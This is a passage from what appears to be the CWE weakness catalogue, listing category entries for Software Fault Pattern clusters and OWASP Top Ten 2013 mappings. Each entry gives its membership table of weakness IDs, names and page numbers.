MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	958	SFP Secondary Cluster: Broken Cryptography	888	1938
HasMember	C	959	SFP Secondary Cluster: Weak Cryptography	888	1938

Category-904: SFP Primary Cluster: Malware

Category ID : 904 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Malware cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	V	69	Improper Handling of Windows ::DATA Alternate Data Stream	888	122
HasMember	G	506	Embedded Malicious Code	888	1077
HasMember	B	507	Trojan Horse	888	1079
HasMember	B	508	Non-Replicating Malicious Code	888	1080
HasMember	B	509	Replicating Malicious Code (Virus or Worm)	888	1081
HasMember	B	510	Trapdoor	888	1082
HasMember	B	511	Logic/Time Bomb	888	1084
HasMember	B	512	Spyware	888	1085

Nature	Type	ID	Name	V	Page
HasMember	C	968	SFP Secondary Cluster: Covert Channel	888	1944

Category-905: SFP Primary Cluster: Predictability

Category ID : 905 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Predictability cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	B	330	Use of Insufficiently Random Values	888	730
HasMember	B	331	Insufficient Entropy	888	736
HasMember	V	332	Insufficient Entropy in PRNG	888	739
HasMember	V	333	Improper Handling of Insufficient Entropy in TRNG	888	740
HasMember	B	334	Small Space of Random Values	888	742
HasMember	B	335	Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG)	888	744
HasMember	V	336	Same Seed in Pseudo-Random Number Generator (PRNG)	888	745
HasMember	V	337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	888	747
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	888	748
HasMember	V	339	Small Seed Space in PRNG	888	751
HasMember	B	340	Generation of Predictable Numbers or Identifiers	888	752
HasMember	B	341	Predictable from Observable State	888	753
HasMember	B	342	Predictable Exact Value from Previous Values	888	755
HasMember	B	343	Predictable Value Range from Previous Values	888	756
HasMember	B	344	Use of Invariant Value in Dynamically Changing Context	888	757

Category-906: SFP Primary Cluster: UI

Category ID : 906 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the UI cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	995	SFP Secondary Cluster: Feature	888	1957
HasMember	C	996	SFP Secondary Cluster: Security	888	1958
HasMember	C	997	SFP Secondary Cluster: Information Loss	888	1958

Category-907: SFP Primary Cluster: Other

Category ID : 907 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Other cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	888	Software Fault Pattern (SFP) Clusters	888	2041
HasMember	C	975	SFP Secondary Cluster: Architecture	888	1946
HasMember	C	976	SFP Secondary Cluster: Compiler	888	1947
HasMember	C	977	SFP Secondary Cluster: Design	888	1947
HasMember	C	978	SFP Secondary Cluster: Implementation	888	1948

Category-929: OWASP Top Ten 2013 Category A1 - Injection

Category ID : 929 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2013.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2043
HasMember	B	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	928	130
HasMember	B	77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	928	136
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	928	141
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	928	181
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	928	187
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	928	198
HasMember	B	91	XML Injection (aka Blind XPath Injection)	928	200
HasMember	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	928	1263
HasMember	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	928	1278

References

[REF-927]OWASP. "Top 10 2013-A1-Injection". < https://www.owasp.org/index.php/Top_10_2013-A1-Injection >.

Category-930: OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management

Category ID : 930 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2013.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2043
HasMember	B	256	Unprotected Storage of Credentials	928	562
HasMember	C	287	Improper Authentication	928	630
HasMember	C	311	Missing Encryption of Sensitive Data	928	686
HasMember		384	Session Fixation	928	839
HasMember	C	522	Insufficiently Protected Credentials	928	1091
HasMember	B	523	Unprotected Transport of Credentials	928	1095
HasMember	B	613	Insufficient Session Expiration	928	1219
HasMember	B	620	Unverified Password Change	928	1229
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	928	1253

References

[REF-929]OWASP. "Top 10 2013-A2-Broken Authentication and Session Management". < https://www.owasp.org/index.php/Top_10_2013-A2-Broken_Authentication_and_Session_Management >.

Category-931: OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)

Category ID : 931 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2013.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2043
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	928	152

References

[REF-930]OWASP. "Top 10 2013-A3-Cross-Site Scripting (XSS)". < https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_%28XSS%29 >.

Category-932: OWASP Top Ten 2013 Category A4 - Insecure Direct Object References

Category ID : 932 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2013.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2043

Nature	Type	ID	Name	V	Page
HasMember	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	928	31
HasMember	B	99	Improper Control of Resource Identifiers ('Resource Injection')	928	224
HasMember	B	639	Authorization Bypass Through User-Controlled Key	928	1251
HasMember	B	706	Use of Incorrectly-Resolved Name or Reference	928	1360

References

[REF-931]OWASP. "Top 10 2013-A4-Insecure Direct Object References". < https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References >.

Category-933: OWASP Top Ten 2013 Category A5 - Security Misconfiguration

Category ID : 933 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2013.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2043
HasMember	C	2	7PK - Environment	928	1848
HasMember	C	16	Configuration	928	1849
HasMember	B	209	Generation of Error Message Containing Sensitive Information	928	490
HasMember	B	215	Insertion of Sensitive Information Into Debugging Code	928	507
HasMember	V	548	Exposure of Information Through Directory Listing	928	1121

References

[REF-932]OWASP. "Top 10 2013-A5-Security Misconfiguration". < https://www.owasp.org/index.php/Top_10_2013-A5-Security_Misconfiguration >.

Category-934: OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure

Category ID : 934 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2013.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2043
HasMember	B	311	Missing Encryption of Sensitive Data	928	686
HasMember	B	312	Cleartext Storage of Sensitive Information	928	693
HasMember	B	319	Cleartext Transmission of Sensitive Information	928	705
HasMember	C	320	Key Management Errors	928	1859
HasMember	B	325	Missing Required Cryptographic Step	928	717
HasMember	B	326	Inadequate Encryption Strength	928	718
HasMember	B	327	Use of a Broken or Risky Cryptographic Algorithm	928	720

Nature	Type	ID	Name	V	Page
HasMember	B	328	Reversible One-Way Hash	928	726

References

[REF-933]OWASP. "Top 10 2013-A6-Sensitive Data Exposure". < https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure >.

Category-935: OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control

Category ID : 935 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2013.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2043
HasMember	C	285	Improper Authorization	928	623

References

[REF-934]OWASP. "Top 10 2013-A7-Missing Function Level Access Control". < https://www.owasp.org/index.php/Top_10_2013-A7-Missing_Function_Level_Access_Control >.

Category-936: OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)

Category ID : 936 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2013.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2043
HasMember		352	Cross-Site Request Forgery (CSRF)	928	773

References

[REF-935]OWASP. "Top 10 2013-A8-Cross-Site Request Forgery (CSRF)". < https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_%28CSRF%29 >.

Category-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities

Category ID : 937 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2043

Notes

Relationship

This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since "known vulnerabilities" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses.

References

[REF-936]OWASP. "Top 10 2013-A9-Using Components with Known Vulnerabilities". < https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities >.

Category-938: OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards

Category ID : 938 **Status:** Obsolete

Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2013.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	928	Weaknesses in OWASP Top Ten (2013)	928	2043
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	928	1195

References

[REF-937]OWASP. "Top 10 2013-A10-Unvalidated Redirects and Forwards". < https://www.owasp.org/index.php/Top_10_2013-A10-Unvalidated_Redirects_and_Forwards >.

Category-944: SFP Secondary Cluster: Access Management

Category ID : 944 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Access Management cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	899	SFP Primary Cluster: Access Control	888	1926
HasMember		282	Improper Ownership Management	888	616
HasMember	B	283	Unverified Ownership	888	618
HasMember	P	284	Improper Access Control	888	619
HasMember		286	Incorrect User Management	888	629
HasMember	B	708	Incorrect Ownership Assignment	888	1363

Category-945: SFP Secondary Cluster: Insecure Resource Access

Category ID : 945 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Access cluster (SFP35).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	899	SFP Primary Cluster: Access Control	888	1926
HasMember	C	285	Improper Authorization	888	623
HasMember	C	424	Improper Protection of Alternate Path	888	914
HasMember	B	639	Authorization Bypass Through User-Controlled Key	888	1251
HasMember	V	650	Trusting HTTP Permission Methods on the Server Side	888	1275

Category-946: SFP Secondary Cluster: Insecure Resource Permissions

Category ID : 946 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Permissions cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	899	SFP Primary Cluster: Access Control	888	1926
HasMember	B	276	Incorrect Default Permissions	888	606
HasMember	V	277	Insecure Inherited Permissions	888	609
HasMember	V	278	Insecure Preserved Inherited Permissions	888	610
HasMember	V	279	Incorrect Execution-Assigned Permissions	888	611
HasMember	B	281	Improper Preservation of Permissions	888	615
HasMember	V	560	Use of umask() with chmod-style Argument	888	1132
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	888	1367

Category-947: SFP Secondary Cluster: Authentication Bypass

Category ID : 947 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Authentication Bypass cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	C	287	Improper Authentication	888	630
HasMember	B	288	Authentication Bypass Using an Alternate Path or Channel	888	636
HasMember	V	289	Authentication Bypass by Alternate Name	888	638
HasMember	B	303	Incorrect Implementation of Authentication Algorithm	888	670
HasMember	B	304	Missing Critical Step in Authentication	888	671

Nature	Type	ID	Name	V	Page
HasMember	B	305	Authentication Bypass by Primary Weakness	888	673
HasMember	B	308	Use of Single-factor Authentication	888	682
HasMember	B	309	Use of Password System for Primary Authentication	888	684
HasMember	B	603	Use of Client-Side Authentication	888	1204

Category-948: SFP Secondary Cluster: Digital Certificate

Category ID : 948 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Digital Certificate cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	B	296	Improper Following of a Certificate's Chain of Trust	888	653
HasMember	V	297	Improper Validation of Certificate with Host Mismatch	888	656
HasMember	V	298	Improper Validation of Certificate Expiration	888	659
HasMember	B	299	Improper Check for Certificate Revocation	888	661
HasMember	V	593	Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created	888	1183
HasMember	V	599	Missing Validation of OpenSSL Certificate	888	1192

Category-949: SFP Secondary Cluster: Faulty Endpoint Authentication

Category ID : 949 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Endpoint Authentication cluster (SFP29).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	V	293	Using Referer Field for Authentication	888	645
HasMember	V	302	Authentication Bypass by Assumed-Immutable Data	888	668
HasMember	C	345	Insufficient Verification of Data Authenticity	888	758
HasMember	B	346	Origin Validation Error	888	760
HasMember	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	888	769
HasMember	B	360	Trust of System Event Data	888	792
HasMember	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	888	1124
HasMember	B	565	Reliance on Cookies without Validation and Integrity Checking	888	1140
HasMember	V	647	Use of Non-Canonical URL Paths for Authorization Decisions	888	1269

Category-950: SFP Secondary Cluster: Hardcoded Sensitive Data

Category ID : 950 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Hardcoded Sensitive Data cluster (SFP33).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	V	258	Empty Password in Configuration File	888	567
HasMember	V	259	Use of Hard-coded Password	888	569
HasMember	V	321	Use of Hard-coded Cryptographic Key	888	709
HasMember	V	547	Use of Hard-coded, Security-relevant Constants	888	1120

Category-951: SFP Secondary Cluster: Insecure Authentication Policy

Category ID : 951 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Authentication Policy cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	B	262	Not Using Password Aging	888	577
HasMember	B	263	Password Aging with Long Expiration	888	579
HasMember	B	521	Weak Password Requirements	888	1089
HasMember	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	888	1129
HasMember	B	613	Insufficient Session Expiration	888	1219
HasMember	B	645	Overly Restrictive Account Lockout Mechanism	888	1267

Category-952: SFP Secondary Cluster: Missing Authentication

Category ID : 952 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Authentication cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	B	306	Missing Authentication for Critical Function	888	674
HasMember	B	620	Unverified Password Change	888	1229

Category-953: SFP Secondary Cluster: Missing Endpoint Authentication

Category ID : 953 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Missing Endpoint Authentication cluster (SFP30).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	V	422	Unprotected Windows Messaging Channel ('Shatter')	888	912
HasMember	B	425	Direct Request ('Forced Browsing')	888	915

Category-954: SFP Secondary Cluster: Multiple Binds to the Same Port

Category ID : 954 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Multiple Binds to the Same Port cluster (SFP32).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	B	605	Multiple Binds to the Same Port	888	1205

Category-955: SFP Secondary Cluster: Unrestricted Authentication

Category ID : 955 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Unrestricted Authentication cluster (SFP34).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	898	SFP Primary Cluster: Authentication	888	1925
HasMember	B	307	Improper Restriction of Excessive Authentication Attempts	888	678

Category-956: SFP Secondary Cluster: Channel Attack

Category ID : 956 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Channel Attack cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	902	SFP Primary Cluster: Channel	888	1927
HasMember	B	290	Authentication Bypass by Spoofing	888	640
HasMember	B	294	Authentication Bypass by Capture-replay	888	647
HasMember	C	300	Channel Accessible by Non-Endpoint	888	663
HasMember	V	301	Reflection Attack in an Authentication Protocol	888	666
HasMember	B	419	Unprotected Primary Channel	888	908
HasMember	B	420	Unprotected Alternate Channel	888	909
HasMember	B	421	Race Condition During Access to Alternate Channel	888	911
HasMember	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	888	950

Category-957: SFP Secondary Cluster: Protocol Error

Category ID : 957 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Protocol Error cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	902	SFP Primary Cluster: Channel	888	1927
HasMember	B	353	Missing Support for Integrity Check	888	780
HasMember	P	435	Improper Interaction Between Multiple Correctly-Behaving Entities	888	943
HasMember	C	436	Interpretation Conflict	888	944
HasMember	B	437	Incomplete Model of Endpoint Features	888	946
HasMember	B	757	Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')	888	1392

Category-958: SFP Secondary Cluster: Broken Cryptography

Category ID : 958 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Broken Cryptography cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	903	SFP Primary Cluster: Cryptography	888	1927
HasMember	B	325	Missing Required Cryptographic Step	888	717
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	888	720
HasMember	B	328	Reversible One-Way Hash	888	726
HasMember	V	759	Use of a One-Way Hash without a Salt	888	1395
HasMember	V	760	Use of a One-Way Hash with a Predictable Salt	888	1399

Category-959: SFP Secondary Cluster: Weak Cryptography

Category ID : 959 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	903	SFP Primary Cluster: Cryptography	888	1927
HasMember	B	261	Weak Encoding for Password	888	575
HasMember	B	322	Key Exchange without Entity Authentication	888	711
HasMember	V	323	Reusing a Nonce, Key Pair in Encryption	888	713
HasMember	B	324	Use of a Key Past its Expiration Date	888	715
HasMember	C	326	Inadequate Encryption Strength	888	718
HasMember	V	329	Not Using a Random IV with CBC Mode	888	729
HasMember	B	347	Improper Verification of Cryptographic Signature	888	764
HasMember	B	640	Weak Password Recovery Mechanism for Forgotten Password	888	1253

Category-960: SFP Secondary Cluster: Ambiguous Exception Type

Category ID : 960 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Ambiguous Exception Type cluster (SFP5).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	889	SFP Primary Cluster: Exception Management	888	1922
HasMember	B	396	Declaration of Catch for Generic Exception	888	860
HasMember	B	397	Declaration of Throws for Generic Exception	888	862

Category-961: SFP Secondary Cluster: Incorrect Exception Behavior

Category ID : 961 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Incorrect Exception Behavior cluster (SFP6).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	889	SFP Primary Cluster: Exception Management	888	1922
HasMember	B	392	Missing Report of Error Condition	888	853
HasMember	B	393	Return of Wrong Status Code	888	854
HasMember	B	455	Non-exit on Failed Initialization	888	969
HasMember	B	460	Improper Cleanup on Thrown Exception	888	981
HasMember	B	544	Missing Standardized Error Handling Mechanism	888	1117
HasMember	B	584	Return Inside Finally Block	888	1171
HasMember	C	636	Not Failing Securely ('Failing Open')	888	1245

Nature	Type	ID	Name	V	Page
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	888	1355

Category-962: SFP Secondary Cluster: Unchecked Status Condition

Category ID : 962 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Unchecked Status Condition cluster (SFP4).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	889	SFP Primary Cluster: Exception Management	888	1922
HasMember	B	248	Uncaught Exception	888	545
HasMember	B	252	Unchecked Return Value	888	553
HasMember	B	253	Incorrect Check of Function Return Value	888	560
HasMember	B	273	Improper Check for Dropped Privileges	888	601
HasMember	B	280	Improper Handling of Insufficient Permissions or Privileges	888	613
HasMember	B	372	Incomplete Internal State Distinction	888	823
HasMember	B	390	Detection of Error Condition Without Action	888	845
HasMember	B	391	Unchecked Error Condition	888	850
HasMember	B	394	Unexpected Status Code or Return Value	888	856
HasMember	B	395	Use of NullPointerException Catch to Detect NULL Pointer Dereference	888	857
HasMember	B	431	Missing Handler	888	931
HasMember	B	478	Missing Default Case in Switch Statement	888	1018
HasMember	B	484	Omitted Break Statement in Switch	888	1034
HasMember	B	600	Uncaught Exception in Servlet	888	1193
HasMember	C	665	Improper Initialization	888	1293
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	888	1381
HasMember	C	755	Improper Handling of Exceptional Conditions	888	1389

Category-963: SFP Secondary Cluster: Exposed Data

Category ID : 963 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Exposed Data cluster (SFP23).

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1924
HasMember	V	5	J2EE Misconfiguration: Data Transmission Without Encryption	888	1
HasMember	V	7	J2EE Misconfiguration: Missing Custom Error Page	888	4
HasMember	V	8	J2EE Misconfiguration: Entity Bean Declared Remote	888	6
HasMember	V	11	ASP.NET Misconfiguration: Creating Debug Binary	888	9

Nature	Type	ID	Name	V	Page
HasMember	V	12	ASP.NET Misconfiguration: Missing Custom Error Page	888	11
HasMember	V	13	ASP.NET Misconfiguration: Password in Configuration File	888	12
HasMember	V	14	Compiler Removal of Code to Clear Buffers	888	14
HasMember	B	117	Improper Output Neutralization for Logs	888	266
HasMember	C	200	Exposure of Sensitive Information to an Unauthorized Actor	888	466
HasMember	B	201	Exposure of Sensitive Information Through Sent Data	888	474
HasMember	B	209	Generation of Error Message Containing Sensitive Information	888	490
HasMember	B	210	Self-generated Error Message Containing Sensitive Information	888	496
HasMember	B	211	Externally-Generated Error Message Containing Sensitive Information	888	498
HasMember	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	888	500
HasMember	B	213	Exposure of Sensitive Information Due to Incompatible Policies	888	503
HasMember	B	214	Invocation of Process Using Visible Sensitive Information	888	505
HasMember	B	215	Insertion of Sensitive Information Into Debugging Code	888	507
HasMember	V	219	Storage of File with Sensitive Data Under Web Root	888	509
HasMember	V	220	Storage of File With Sensitive Data Under FTP Root	888	510
HasMember	B	226	Sensitive Information Uncleared in Resource Before Release for Reuse	888	517
HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	888	540
HasMember	B	256	Unprotected Storage of Credentials	888	562
HasMember	B	257	Storing Passwords in a Recoverable Format	888	564
HasMember	B	260	Password in Configuration File	888	573
HasMember	C	311	Missing Encryption of Sensitive Data	888	686
HasMember	B	312	Cleartext Storage of Sensitive Information	888	693
HasMember	V	313	Cleartext Storage in a File or on Disk	888	697
HasMember	V	314	Cleartext Storage in the Registry	888	699
HasMember	V	315	Cleartext Storage of Sensitive Information in a Cookie	888	700
HasMember	V	316	Cleartext Storage of Sensitive Information in Memory	888	702
HasMember	V	317	Cleartext Storage of Sensitive Information in GUI	888	703
HasMember	V	318	Cleartext Storage of Sensitive Information in Executable	888	704
HasMember	B	319	Cleartext Transmission of Sensitive Information	888	705
HasMember	B	374	Passing Mutable Objects to an Untrusted Method	888	824
HasMember	B	375	Returning a Mutable Object to an Untrusted Caller	888	827
HasMember	C	402	Transmission of Private Resources into a New Sphere ('Resource Leak')	888	875
HasMember	B	403	Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')	888	876
HasMember	V	433	Unparsed Raw Web Content Delivery	888	933
HasMember	V	495	Private Data Structure Returned From A Public Method	888	1059
HasMember	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	888	1062
HasMember	V	498	Cloneable Class Containing Sensitive Information	888	1065
HasMember	V	499	Serializable Class Containing Sensitive Data	888	1067

Nature	Type	ID	Name	V	Page
HasMember	B	501	Trust Boundary Violation	888	1071
HasMember	C	522	Insufficiently Protected Credentials	888	1091
HasMember	B	523	Unprotected Transport of Credentials	888	1095
HasMember	V	526	Exposure of Sensitive Information Through Environmental Variables	888	1099
HasMember	V	527	Exposure of Version-Control Repository to an Unauthorized Control Sphere	888	1099
HasMember	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	888	1100
HasMember	V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere	888	1101
HasMember	V	530	Exposure of Backup File to an Unauthorized Control Sphere	888	1102
HasMember	B	532	Insertion of Sensitive Information into Log File	888	1104
HasMember	V	535	Exposure of Information Through Shell Error Message	888	1107
HasMember	V	536	Servlet Runtime Error Message Containing Sensitive Information	888	1108
HasMember	V	537	Java Runtime Error Message Containing Sensitive Information	888	1109
HasMember	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	888	1111
HasMember	V	539	Use of Persistent Cookies Containing Sensitive Information	888	1112
HasMember	B	540	Inclusion of Sensitive Information in Source Code	888	1113
HasMember	V	541	Inclusion of Sensitive Information in an Include File	888	1114
HasMember	V	546	Suspicious Comment	888	1118
HasMember	V	548	Exposure of Information Through Directory Listing	888	1121
HasMember	V	550	Server-generated Error Message Containing Sensitive Information	888	1123
HasMember	B	552	Files or Directories Accessible to External Parties	888	1125
HasMember	V	555	J2EE Misconfiguration: Plaintext Password in Configuration File	888	1128
HasMember	V	591	Sensitive Data Storage in Improperly Locked Memory	888	1182
HasMember	V	598	Use of GET Request Method With Sensitive Query Strings	888	1191
HasMember	V	607	Public Static Final Field References Mutable Object	888	1209
HasMember	B	612	Improper Authorization of Index Containing Sensitive Information	888	1217
HasMember	V	615	Inclusion of Sensitive Information in Source Code Comments	888	1221
HasMember	C	642	External Control of Critical State Data	888	1257
HasMember	C	668	Exposure of Resource to Wrong Sphere	888	1305
HasMember	C	669	Incorrect Resource Transfer Between Spheres	888	1307
HasMember	B	756	Missing Custom Error Page	888	1390
HasMember	V	767	Access to Critical Private Variable via Public Method	888	1418

Category-964: SFP Secondary Cluster: Exposure Temporary File

Category ID : 964 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Exposure Temporary File cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1924
HasMember	C	377	Insecure Temporary File	888	829
HasMember	B	378	Creation of Temporary File With Insecure Permissions	888	832
HasMember	B	379	Creation of Temporary File in Directory with Insecure Permissions	888	834

Category-965: SFP Secondary Cluster: Insecure Session Management

Category ID : 965 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Insecure Session Management cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1924
HasMember	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	888	2
HasMember	B	488	Exposure of Data Element to Wrong Session	888	1040
HasMember	B	524	Use of Cache Containing Sensitive Information	888	1096

Category-966: SFP Secondary Cluster: Other Exposures

Category ID : 966 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the Other Exposures cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1924
HasMember	V	453	Insecure Default Variable Initialization	888	966
HasMember	B	487	Reliance on Package-level Scope	888	1038
HasMember	V	492	Use of Inner Class Containing Sensitive Data	888	1046
HasMember	V	525	Use of Web Browser Cache Containing Sensitive Information	888	1097
HasMember	V	614	Sensitive Cookie in HTTPS Session Without 'Secure' Attribute	888	1220
HasMember	V	651	Exposure of WSDL File Containing Sensitive Information	888	1276

Category-967: SFP Secondary Cluster: State Disclosure

Category ID : 967 **Status:** Incomplete

Summary

This category identifies Software Fault Patterns (SFPs) within the State Disclosure cluster.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	895	SFP Primary Cluster: Information Leak	888	1924
HasMember	V	202	Exposure of Sensitive Information Through Data Queries	888	476
HasMember	B	203	Observable Discrepancy	888	478
HasMember	B	204	Observable Response Discrepancy	888	482
HasMember	B	205	Observable Behavioral Discrepancy	888	485
